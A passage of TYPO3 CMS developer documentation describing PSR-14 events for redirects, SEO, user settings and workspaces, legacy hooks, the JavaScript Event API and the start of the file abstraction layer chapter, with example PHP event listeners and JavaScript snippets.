\TYPO3\CMS\Redirects\Event\ModifyAutoCreateRedirectRecordBeforePersistingEvent
allows extensions to modify the redirect record before it is persisted to
the database. This can be used to change values according to circumstances, such
as different sub-tree settings that are not covered by the Core
site configuration. Another use case could be to write data to additional
sys_redirect columns added by a custom extension for later use.
Note
To handle updates or react on manual created redirects in the backend
module, available hooks of
\TYPO3\CMS\Core\DataHandling\DataHandler
can be used.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Redirects\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Redirects\Event\ModifyAutoCreateRedirectRecordBeforePersistingEvent;
useTYPO3\CMS\Redirects\RedirectUpdate\PlainSlugReplacementRedirectSource;
#[AsEventListener(
identifier: 'my-extension/modify-auto-create-redirect-record-before-persisting',
)]
final readonly classMyEventListener{
publicfunction__invoke(
ModifyAutoCreateRedirectRecordBeforePersistingEvent $event,
): void{
// Only work on plain slug replacement redirect sources.if (!($event->getSource() instanceof PlainSlugReplacementRedirectSource)) {
return;
}
// Get prepared redirect record and change some values
$record = $event->getRedirectRecord();
// Override the status code, eventually to another value than// configured in the site configuration
$record['status_code'] = 307;
// Set value to a field extended by a custom extension, to persist// additional data to the redirect record.
$record['custom_field_added_by_a_extension']
= 'page_' . $event->getSlugRedirectChangeItem()->getPageId();
// Update changed record in event to ensure changed values are saved.
$event->setRedirectRecord($record);
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
This event is fired in the TYPO3CMSRedirectsServiceSlugService before
a redirect record is persisted for changed page slug.
It can be used to modify the redirect record before persisting it. This
gives extension developers the ability to apply defaults or add custom
values to the record.
The PSR-14 event
\TYPO3\CMS\Redirects\Event\ModifyRedirectManagementControllerViewDataEvent
allows extensions to modify or enrich view data for
EXT:redirects/Classes/Controller/ManagementController.php (GitHub). This makes it
possible to display more or other information along the way.
For example, this event can be used to add additional information to current
page records.
Therefore, it can be used to generate custom data, directly assigning to the
view. With overriding the backend view template
via page TSconfig this custom data can be
displayed where it is needed and rendered the way it is wanted.
New in version 13.0
The methods
getIntegrityStatusCodes() and
setIntegrityStatusCodes() have been added to the event class.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Redirects\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Redirects\Event\ModifyRedirectManagementControllerViewDataEvent;
#[AsEventListener(
identifier: 'my-extension/modify-redirect-management-controller-view-data',
)]
final readonly classMyEventListener{
publicfunction__invoke(ModifyRedirectManagementControllerViewDataEvent $event): void{
$hosts = $event->getHosts();
// Remove wildcard host from list
$hosts = array_filter($hosts, static fn($host) => $host['name'] !== '*');
// Update changed hosts list
$event->setHosts($hosts);
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Allows to set integrity status codes. It can be used to filter for integrity status codes.
param $integrityStatusCodes
the integrityStatusCodes
RedirectWasHitEvent
The PSR-14 event
\TYPO3\CMS\Redirects\Event\RedirectWasHitEvent is fired
in the
\TYPO3\CMS\Redirects\Http\Middleware\RedirectHandler middleware and allows extension authors to further
process the matched redirect and to adjust the PSR-7 response.
Example: Disable the hit count increment for monitoring tools
TYPO3 already implements the EXT:redirects/Classes/EventListener/IncrementHitCount.php (GitHub)
listener. It is used to increment the hit count of the matching redirect record,
if the feature "redirects.hitCount"
is enabled. In case you want to prevent the increment in some
cases, for example if the request was initiated by a monitoring tool, you
can either implement your own listener with the same identifier
(
redirects-increment-hit-count) or add your custom listener
before and dynamically set the records
disable_hitcount flag.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Redirects\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Redirects\Event\RedirectWasHitEvent;
#[AsEventListener(
identifier: 'my-extension/redirects/validate-hit-count',
before: 'redirects-increment-hit-count',
)]
final readonly classMyEventListener{
publicfunction__invoke(RedirectWasHitEvent $event): void{
$matchedRedirect = $event->getMatchedRedirect();
// This will disable the hit count increment in case the target// is the page 123 and the request is from the monitoring tool.if (str_contains($matchedRedirect['target'], 'uid=123')
&& $event->getRequest()->getAttribute('normalizedParams')
->getHttpUserAgent() === 'my monitoring tool'
) {
$matchedRedirect['disable_hitcount'] = true;
$event->setMatchedRedirect(
$matchedRedirect,
);
// Also add a custom response header
$event->setResponse(
$event->getResponse()->withAddedHeader(
'X-My-Custom-Header',
'Hit count increment skipped',
),
);
}
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
API
classRedirectWasHitEvent
Fully qualified name
\TYPO3\CMS\Redirects\Event\RedirectWasHitEvent
This event is fired in the TYPO3CMSRedirectsHttpMiddlewareRedirectHandler
middleware when a request matches a configured redirect.
It can be used to further process the matched redirect and
to adjust the PSR-7 Response. It furthermore allows to influence Core
functionality, for example the hit count increment.
The PSR-14 event
\TYPO3\CMS\Redirects\Event\SlugRedirectChangeItemCreatedEvent
is fired in the
\TYPO3\CMS\Redirects\RedirectUpdate\SlugRedirectChangeItemFactory
class and allows extensions to manage the redirect sources for which redirects
should be created.
TYPO3 already implements the
EXT:redirects/Classes/EventListener/AddPlainSlugReplacementSource.php (GitHub)
listener. It is used to add the plain slug value based source type, which
provides the same behavior as before. Implementing this as a Core listener
gives extension authors the ability to remove the source added by
AddPlainSlugReplacementSource when their listeners are registered and
executed afterwards. See the example below.
The source type implementation based on
\TYPO3\CMS\Redirects\RedirectUpdate\PageTypeSource
provides the page type number as additional value. The main use case
for this source type is to provide additional source types where the source host
and path are taken from a full built URI before the page slug change occurred for
a specific page type. This avoids the need for extension authors to implement a
custom source type for the same task, and instead providing a custom event
listener to build sources for non-zero page types.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Backend;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Core\Context\Context;
useTYPO3\CMS\Core\Routing\InvalidRouteArgumentsException;
useTYPO3\CMS\Core\Routing\RouterInterface;
useTYPO3\CMS\Core\Routing\UnableToLinkToPageException;
useTYPO3\CMS\Core\Site\Entity\Site;
useTYPO3\CMS\Core\Site\Entity\SiteLanguage;
useTYPO3\CMS\Core\Utility\GeneralUtility;
useTYPO3\CMS\Redirects\Event\SlugRedirectChangeItemCreatedEvent;
useTYPO3\CMS\Redirects\RedirectUpdate\PageTypeSource;
useTYPO3\CMS\Redirects\RedirectUpdate\RedirectSourceCollection;
useTYPO3\CMS\Redirects\RedirectUpdate\RedirectSourceInterface;
#[AsEventListener(
identifier: 'my-extension/custom-page-type-redirect',
after: 'redirects-add-page-type-zero-source',
)]
final readonly classMyEventListener{
privateconst CUSTOM_PAGE_TYPES = [1234, 169999];
publicfunction__invoke(
SlugRedirectChangeItemCreatedEvent $event,
): void{
$changeItem = $event->getSlugRedirectChangeItem();
$sources = $changeItem->getSourcesCollection()->all();
foreach (self::CUSTOM_PAGE_TYPES as $pageType) {
try {
$pageTypeSource = $this->createPageTypeSource(
$changeItem->getPageId(),
$pageType,
$changeItem->getSite(),
$changeItem->getSiteLanguage(),
);
if ($pageTypeSource === null) {
continue;
}
} catch (UnableToLinkToPageException) {
// Could not properly link to page. Continue to next page typecontinue;
}
if ($this->isDuplicate($pageTypeSource, ...$sources)) {
// not adding duplicate,continue;
}
$sources[] = $pageTypeSource;
}
// update sources
$changeItem = $changeItem->withSourcesCollection(
new RedirectSourceCollection(
...array_values($sources),
),
);
// update change item with updated sources
$event->setSlugRedirectChangeItem($changeItem);
}
privatefunctionisDuplicate(
PageTypeSource $pageTypeSource,
RedirectSourceInterface ...$sources,
): bool{
foreach ($sources as $existingSource) {
if ($existingSource instanceof PageTypeSource
&& $existingSource->getHost() === $pageTypeSource->getHost()
&& $existingSource->getPath() === $pageTypeSource->getPath()
) {
// we do not check for the type, as that is irrelevant. Same// host+path tuple would lead to duplicated redirects if// type differs.returntrue;
}
}
returnfalse;
}
privatefunctioncreatePageTypeSource(
int $pageUid,
int $pageType,
Site $site,
SiteLanguage $siteLanguage,
): ?PageTypeSource{
if ($pageType === 0) {
// pageType 0 is handled by \TYPO3\CMS\Redirects\EventListener\AddPageTypeZeroSourcereturnnull;
}
try {
$context = GeneralUtility::makeInstance(Context::class);
$uri = $site->getRouter($context)->generateUri(
$pageUid,
[
'_language' => $siteLanguage,
'type' => $pageType,
],
'',
RouterInterface::ABSOLUTE_URL,
);
returnnew PageTypeSource(
$uri->getHost() ?: '*',
$uri->getPath(),
$pageType,
[
'type' => $pageType,
],
);
} catch (\InvalidArgumentException|InvalidRouteArgumentsException $e) {
thrownew UnableToLinkToPageException(
sprintf(
'The link to the page with ID "%d" and type "%d" could not be generated: %s',
$pageUid,
$pageType,
$e->getMessage(),
),
1675618235,
$e,
);
}
}
}
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New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
The listener
\TYPO3\CMS\Redirects\EventListener\AddPageTypeZeroSource
creates a
\TYPO3\CMS\Redirects\RedirectUpdate\PageTypeSource for a page
before the slug has been changed. The full URI is built to fill the source_host
and source_path, which takes configured
route enhancers and route decorators
into account, for example, the PageType route decorator.
Note
If source_host and source_path lead to the same outcome for page type 0
using the full URI building like the
\TYPO3\CMS\Redirects\RedirectUpdate\PlainSlugReplacementSource, the
PlainSlugReplacementSource is replaced with the
PageTypeSource.
It is not possible to configure for which page types sources should be added. If
you need to do so, see Using PageTypeSource
which contains an example how to implement a custom event listener based on
PageTypeSource.
In case that
PageTypeSource for page type 0 results in a different
source, the
PlainSlugReplacementSource is not removed to keep the original
behaviour, which some instances may rely on.
This behaviour can be modified by adding an event listener for
SlugRedirectChangeItemCreatedEvent:
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Backend;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Redirects\Event\SlugRedirectChangeItemCreatedEvent;
useTYPO3\CMS\Redirects\RedirectUpdate\PageTypeSource;
useTYPO3\CMS\Redirects\RedirectUpdate\PlainSlugReplacementRedirectSource;
useTYPO3\CMS\Redirects\RedirectUpdate\RedirectSourceCollection;
useTYPO3\CMS\Redirects\RedirectUpdate\RedirectSourceInterface;
#[AsEventListener(
identifier: 'my-extension/custom-page-type-redirect',
// Registering after Core listener is important, otherwise we would// not know if there is a PageType source for page type 0
after: 'redirects-add-page-type-zero-source',
)]
final readonly classMyEventListener{
publicfunction__invoke(
SlugRedirectChangeItemCreatedEvent $event,
): void{
$changeItem = $event->getSlugRedirectChangeItem();
$sources = $changeItem->getSourcesCollection()->all();
$pageTypeZeroSource = $this->getPageTypeZeroSource(
...array_values($sources),
);
if ($pageTypeZeroSource === null) {
// nothing we can do - no page type 0 source foundreturn;
}
// Remove plain slug replacement redirect source from sources. We// already know, that if it is there it differs from the page type// 0 source, therefor it is safe to simply remove it by class check.
$sources = array_filter(
$sources,
static fn($source) => !($source instanceof PlainSlugReplacementRedirectSource),
);
// update sources
$changeItem = $changeItem->withSourcesCollection(
new RedirectSourceCollection(
...array_values($sources),
),
);
// update change item with updated sources
$event->setSlugRedirectChangeItem($changeItem);
}
privatefunctiongetPageTypeZeroSource(
RedirectSourceInterface ...$sources,
): ?PageTypeSource{
foreach ($sources as $source) {
if ($source instanceof PageTypeSource
&& $source->getPageType() === 0
) {
return $source;
}
}
returnnull;
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
This event is fired in the TYPO3CMSRedirectsRedirectUpdateSlugRedirectChangeItemFactory
factory if a new SlugRedirectChangeItem is created.
It can be used to add additional sources, remove sources or completely remove the change item itself.
A source must implement the RedirectSourceInterface, and for each source a redirect record is created
later in the SlugService. If the SlugRedirectChangeItem is set to null, no further action is executed
for this slug change.
With the PSR-14 event \TYPO3\CMS\Seo\Event\ModifyUrlForCanonicalTagEvent
the URL for the
href attribute of the canonical tag can be altered or
emptied.
Changed in version 13.0
The event is being dispatched after the standard functionality has been
executed, such as fetching the URL from the page properties. Effectively,
this also means that
getUrl() might already return a non-empty
string.
Note
Changed in version 13.0
The event is even dispatched in case the canonical tag generation is
disabled via TypoScript
(disableCanonical) or via
the page property
no_index. If disabled, the
\TYPO3\CMS\Seo\Exception\CanonicalGenerationDisabledException is
thrown. The exception is caught and transferred to the event, allowing
listeners to determine whether the generation is disabled, using the
getCanonicalGenerationDisabledException() method, which either
returns the exception with the corresponding reason or
null.
Example
Changing the host of the current request and setting it as canonical:
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Seo\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Seo\Event\ModifyUrlForCanonicalTagEvent;
useTYPO3\CMS\Seo\Exception\CanonicalGenerationDisabledException;
#[AsEventListener(
identifier: 'my-extension/modify-url-for-canonical-tag',
)]
final readonly classMyEventListener{
publicfunction__invoke(ModifyUrlForCanonicalTagEvent $event): void{
if ($event->getCanonicalGenerationDisabledException() instanceof CanonicalGenerationDisabledException) {
return;
}
// Only set the canonical in our example when the tag is not disabled// via TypoScript or via "no_index" in the page properties.
$currentUrl = $event->getRequest()->getUri();
$newCanonical = $currentUrl->withHost('example.com');
$event->setUrl((string)$newCanonical);
}
}
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New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
JavaScript events in custom user settings configuration options should not be
placed as inline JavaScript. Instead, use a dedicated JavaScript module to
handle custom events.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\UserSettings\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Setup\Event\AddJavaScriptModulesEvent;
#[AsEventListener(
identifier: 'my-extension/my-event-listener',
)]
final readonly classMyEventListener{
// The name of JavaScript module to be loadedprivateconst MODULE_NAME = 'TYPO3/CMS/MyExtension/CustomUserSettingsModule';
publicfunction__invoke(AddJavaScriptModulesEvent $event): void{
if (in_array(self::MODULE_NAME, $event->getModules(), true)) {
return;
}
$event->addModule(self::MODULE_NAME);
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
API
classAddJavaScriptModulesEvent
Fully qualified name
\TYPO3\CMS\Setup\Event\AddJavaScriptModulesEvent
Collects additional JavaScript modules to be loaded in SetupModuleController.
addJavaScriptModule(string $specifier)
param $specifier
Bare module identifier like @my/package/filename.js
getJavaScriptModules()
Returns
string[]
Workspaces
The following list contains PSR-14 events
in EXT:workspaces.
The PSR-14 event
\TYPO3\CMS\Workspaces\Event\AfterCompiledCacheableDataForWorkspaceEvent
is used in the Web > Workspaces module to find all cacheable data of
versions of a workspace.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
Used in the workspaces module to find all cacheable data of versions of a workspace.
getGridService()
Returns
\TYPO3\CMS\Workspaces\Service\GridDataService
getData()
Returns
array
setData(array $data)
param $data
the data
getVersions()
Returns
array
setVersions(array $versions)
param $versions
the versions
AfterDataGeneratedForWorkspaceEvent
The PSR-14 event
\TYPO3\CMS\Workspaces\Event\AfterDataGeneratedForWorkspaceEvent
is used in the Web > Workspaces module to find all data of versions
of a workspace.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Workspaces\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Workspaces\Event\AfterRecordPublishedEvent;
#[AsEventListener(
identifier: 'my-extension/after-record-published',
)]
final readonly classMyEventListener{
publicfunction__invoke(AfterRecordPublishedEvent $event): void{
// Do your magic here
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Event that is fired after a record has been published in a workspace.
getTable()
The table name of the record.
Returns
string
getRecordId()
The uid of the record
Returns
int
getWorkspaceId()
The workspace the record has been published in.
Returns
int
GetVersionedDataEvent
The PSR-14 event
\TYPO3\CMS\Workspaces\Event\GetVersionedDataEvent
is used in the Web > Workspaces module to find all data of versions
of a workspace. In comparison to AfterDataGeneratedForWorkspaceEvent,
this one contains the cleaned / prepared data with an optional limit applied
depending on the view.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
API
classGetVersionedDataEvent
Fully qualified name
\TYPO3\CMS\Workspaces\Event\GetVersionedDataEvent
Used in the workspaces module to find all data of versions of a workspace.
In comparison to AfterDataGeneratedForWorkspaceEvent, this one contains the
cleaned / prepared data with an optional limit applied depending on the view.
getGridService()
Returns
\TYPO3\CMS\Workspaces\Service\GridDataService
getData()
Returns
array
setData(array $data)
param $data
the data
getDataArrayPart()
Returns
array
setDataArrayPart(array $dataArrayPart)
param $dataArrayPart
the dataArrayPart
getStart()
Returns
int
getLimit()
Returns
int
ModifyVersionDifferencesEvent
The PSR-14 event
\TYPO3\CMS\Workspaces\Event\ModifyVersionDifferencesEvent
can be used to modify the version differences data, used for the display in the
Web > Workspaces backend module. Those data can be accessed
with the
getVersionDifferences() method and updated using the
setVersionDifferences(array $versionDifferences) method.
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Listeners to this event will be able to modify the differences of versioned records
getVersionDifferences()
Get the version differences.
This array contains the differences of each field with the following keys:
field: The corresponding field name
label: The corresponding field label
content: The field values difference
Return description
String, label: string, content: string}>
Returns
list<array{field:
setVersionDifferences(array $versionDifferences)
Modifies the version differences data
param $versionDifferences
the versionDifferences
getLiveRecordData()
Returns the records live data (used to create the version difference)
Return description
String, label: string, content: string}>
Returns
list<array{field:
getParameters()
Returns meta information like current stage and current workspace
Returns
\stdClass
SortVersionedDataEvent
The PSR-14 event
\TYPO3\CMS\Workspaces\Event\SortVersionedDataEvent is
used in the Web > Workspaces module after sorting all data for
versions of a workspace.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
Used in the workspaces module after sorting all data for versions of a workspace.
getGridService()
Returns
\TYPO3\CMS\Workspaces\Service\GridDataService
getData()
Returns
array
setData(array $data)
param $data
the data
getSortColumn()
Returns
string
setSortColumn(string $sortColumn)
param $sortColumn
the sortColumn
getSortDirection()
Returns
string
setSortDirection(string $sortDirection)
param $sortDirection
the sortDirection
Hooks
Hooks are basically places in the source code where a user function will be
called for processing, if such has been configured. While there are conventions
and best practises of how hooks should be implemented the hook concept itself
does not prevent it from being used in any way.
Hooks are being phased-out and no new ones should be created. Dispatch a
PSR-14 event instead.
Using hooks
The two lines of code below are an example of how a hook can be used for
clear-cache post-processing. The objective of this could be to perform
additional actions whenever the cache is cleared for a specific page:
This hook registers the class/method name to a hook inside of
\TYPO3\CMS\Core\DataHandling\DataHandler . The hook calls the user
function after the cache has been cleared. The user function
will receive parameters which allows it to see what clear-cache action was
performed and typically also an object reference to the parent object. Then the
user function can take additional actions as needed.
The class has to follow the PSR-4 class name scheme to be available in
autoloading.
If we take a look inside of \TYPO3\CMS\Core\DataHandling\DataHandler we
find the hook to be activated like this:
<?phpnamespaceTYPO3\CMS\Core\DataHandling;
useTYPO3\CMS\Core\Utility\GeneralUtility;
classDataHandler{
protectedfunctionprepareCacheFlush($table, $uid, $pid){
// do something [...]// Call post processing function for clear-cache:
$_params = ['table' => $table, 'uid' => $uid/*...*/];
foreach ($GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_tcemain.php']['clearCachePostProc'] ?? [] as $_funcRef) {
GeneralUtility::callUserFunction($_funcRef, $_params, $this);
}
}
}
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This is how hooks are typically constructed. The main action happens in line 5
where the function \TYPO3\CMS\Core\Utility\GeneralUtility::callUserFunction()
is called. The user function is called with two arguments, an array with
variable parameters and the parent object.
In line 24 the content of the parameter array is prepared. This is of
high interest to you because this is where you see what data is passed
to you and what data might be passed by reference and thereby
could be manipulated from your hook function.
Finally, notice how the array
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_tcemain.php']['clearCachePostProc']
is traversed and for each entry the value is expected to be a function
reference which will be called. This allows many hooks to be called at once.
The hooks can even rearrange the calling order if they dare.
The syntax of a function reference can be seen in the API documentation of
\TYPO3\CMS\Core\Utility\GeneralUtility .
Note
The example hook shown above refers to old class names. All these old class
names were left in hooks, for obvious reasons of backwards-compatibility.
Creating hooks
Note
It is highly recommended to dispatch PSR-14 events
<EventDispatcherQuickStartDispatching> instead of introducing new hooks.
Existing hooks should be migrated to events.
There are two main methods of calling a user-defined function in
TYPO3.
Takes a reference to a function in a PHP class reference as value
and calls that function. The argument list is fixed to a parameter array
and a parent object.
Most hooks in the TYPO3 Core have been converted into PSR-14 events which are
completely listed in the event list.
There is no complete index of the remaining hooks in the Core. The following
naming scheme should be used:
$GLOBALS['TYPO3_CONF_VARS']['EXTCONF']
Configuration space for third-party extensions.
This will contain all kinds of configuration options for specific
extensions including possible hooks in them! What options are
available to you will depend on a search in the documentation for that
particular extension.
Whatever the script defines. Typically it identifies
the context of the hook
<value>
It is up to the extension what the values mean, if they
are mere configuration options or hooks or whatever and how deep the
arrays go. Read the source code where the options are implemented to
see. Or the documentation of the extension, if available.
Note
$GLOBALS['TYPO3_CONF_VARS']['EXTCONF'] was the recommended place where to
put hook configurations inside third-party extensions. It is not recommended anymore
to introduce new hooks. Events should be used instead.
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']
Configuration space for Core extensions.
This array is created as an ad hoc space for creating hooks from any
script. This will typically be used from the Core scripts of TYPO3
which do not have a natural identifier like extensions have their
extension keys.
The relative path of a script (for output scripts it
should be the "script ID" as found in a comment in the HTML header)
<sub_key>
This is defined by the script. Typically it identifies
the context of the hook.
<index>
Integer index typically. Can be a unique string, if you have
a reason to use that. Normally it has no greater significance since
the value of the key is not used. The hooks normally traverse over the
array and uses only the value (function reference).
<function_reference>
A function reference using the syntax of
\TYPO3\CMS\Core\Utility\GeneralUtility::callUserFunction() as a function
or
\TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance() as a class name
depending on implementation of the hook.
A namespace function has the format
\Foo\Bar\MyClassName::class . '->myUserFunction'.
A namespace class should be used in the unquoted form, for example
\Foo\Bar\MyClassName::class. The called function name is determined
by the hook itself.
The above syntax is how a hook is typically defined but it might
differ and it might not be a hook at all, but just configuration.
Depends on implementation in any case.
JavaScript Event API
The Event API in TYPO3 incorporates different techniques to handle JavaScript events in an easy, convenient and
performant manner. Event listeners may be bound directly to an element or to multiple elements using event delegation.
TYPO3 ships different event strategies, implementing the same interface which makes all strategies API-wise
interchangeable.
Bind to an element
To bind an event listener to an element directly, the API method
bindTo() must be used. The method takes one
argument that describes the element to which the event listener is bound. Accepted is any
Node element,
document or
window.
Example:
// AnyEventStrategy is a placeholder, concrete implementations are handled in the following chaptersnew AnyEventStrategy('click', callbackFn).bindTo(document.getElementById('foobar'));
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Attention
Event delegation needs a bubbling event which is not the default case for
CustomEvent(). Define the option
in the event initialization as follows:
new CustomEvent('my-event', {bubbles: true});.
Bind to multiple elements
To bind an event listener to multiple elements, the so-called "event delegation" may be used. An event listener is
attached to a super element (e.g. a table) but reacts on events triggered by child elements within that super element.
This approach reduces the overhead in the browser as no listener must be installed for each element.
To make use of this approach the method
delegateTo() must be used which accepts two arguments:
element - any
Node element,
document or
window
selector - the selector to match any element that triggers the event listener execution
In the following example all elements matching .any-class within #foobar execute the event listener when clicked:
// AnyEventStrategy is a placeholder, concrete implementations are handled in the following chaptersnew AnyEventStrategy('click', callbackFn).delegateTo(document.getElementById('foobar'), '.any-class');
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To access the element that triggered the event,
this may be used.
Release an event
If an event listener is not required anymore, it may be removed from the element it's attached. To release a registered
event, the method
release() must be used. This method takes no arguments.
Example:
// AnyEventStrategy is a placeholder, concrete implementations are handled in the following chaptersconst event = new AnyEventStrategy('click', callbackFn);
event.delegateTo(document.getElementById('foobar'), '.any-class');
// Release the event
event.release();
A "regular event" is a very simple mechanism to bind an event listener to an element. The event listener is executed
every time the event is triggered.
To construct the event listener, the module
TYPO3/CMS/Core/Event/RegularEvent must be imported. The constructor
accepts the following arguments:
eventName (string) - the event to listen on
callback (function) - the executed event listener when the event is triggered
import RegularEvent from'@typo3/core/event/regular-event.js';
new RegularEvent('click', function (e) {
console.log('Clicked element:', e.target);
}).bindTo(document.getElementById('#'));
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Debounce event
A "debounced event" executes its handler only once in a series of the same events. If the event listener is configured
to execute immediately, it's executed right after the first event is fired until a period of time passed since the last
event. If its not configured to execute immediately, which is the default setting, the event listener is executed after
the period of time passed since the last event fired.
This type of event listening is suitable when a series of the same event is fired, e.g. the mousewheel or resize
events.
To construct the event listener, the module
TYPO3/CMS/Core/Event/DebounceEvent must be imported. The constructor
accepts the following arguments:
eventName (string) - the event to listen on
callback (function) - the executed event listener when the event is triggered
wait (number) - the amount of milliseconds to wait the event listener is either executed or locked
immediate (boolean) - defined whether the event listener is executed before or after the waiting time
import DebounceEvent from'@typo3/core/event/debounce-event.js';
new DebounceEvent('mousewheel', function (e) {
console.log('Executed 200ms after the last mousewheel event was fired');
}, 200).bindTo(document.body);
new DebounceEvent('mousewheel', function (e) {
console.log('Executed right after the first 200ms after the last mousewheel event was fired');
}, 200, true).bindTo(document.body);
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Throttle event
A "throttled event" executes its handler after a configured waiting time over a time span. This event type is similar to
the debounced event, where the major difference is that a throttled event executes its listeners multiple times.
To construct the event listener, the module
TYPO3/CMS/Core/Event/ThrottleEvent must be imported. The constructor
accepts the following arguments:
eventName (string) - the event to listen on
callback (function) - the executed event listener when the event is triggered
limit (number) - the amount of milliseconds to wait until the event listener is executed again
Hint
If an event spans over 2000ms and the wait time is configured to be 100ms,
the event listener gets called up to 20 times in total ().
import ThrottleEvent from'@typo3/core/event/throttle-event.js';
new ThrottleEvent('mousewheel', function (e) {
console.log('Executed every 50ms during the overall event time span');
}, 50).bindTo(document.body);
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RequestAnimationFrame event
A "request animation frame event" is similar to using
ThrottleEvent with a limit of 16, as this event type
incorporates the browser's RequestAnimationFrame API (rAF) which aims to run at 60 fps () but
decides internally the best timing to schedule the rendering.
The best suited use-case for this event type is on "paint jobs", e.g. calculating the size of an element or move
elements around.
Attention
Due to the behavior of rAF, any event listener is not executed if the browser's tab is not active.
To construct the event listener, the module
TYPO3/CMS/Core/Event/RequestAnimationFrameEvent must be imported.
The constructor accepts the following arguments:
eventName (string) - the event to listen on
callback (function) - the executed event listener when the event is triggered
import RequestAnimationFrameEvent from'@typo3/core/event/request-animation-frame-event.js';
const el = document.querySelector('.item');
new RequestAnimationFrameEvent('scroll', function () {
el.target.style.width = window.scrollY + 100 + 'px';
}).bindTo(window);
Content related assets - mostly videos and images - are accessible through
a file abstraction layer API and never referenced directly throughout
the system.
The API abstracts physical file assets storage within the system. It allows to
store, manipulate and access assets with different Digital Assets Management Systems
transparently within the system, allows high availability cloud storages
and assets providers. Assets can be enriched with meta data like description information,
authors, and copyright. This information is stored in local database tables.
All access to files used in content elements should use the FAL API.
This chapter provides a number of examples showing how to use the
file abstraction layer in your own code.
This chapter presents the general concepts underlying the TYPO3
file abstraction layer (FAL). The whole point of FAL - as its name
implies - is to provide information about files abstracted with
regards to their actual nature and storage.
Information about files is stored inside database tables and
using a given file is mostly about creating a database relation
to the record representing that file.
Storages and drivers
Every file belongs to a storage, which is a very general concept
encompassing any kind of place where a file can be stored: a local
file system, a remote server or a cloud-based resource. Accessing
these different places requires an appropriate driver.
Each storage relies on a driver to provide the user with the
ability to use and manipulate the files that exist in the storage.
By default, TYPO3 provides only a local file system driver.
A new TYPO3 installation comes with a predefined storage,
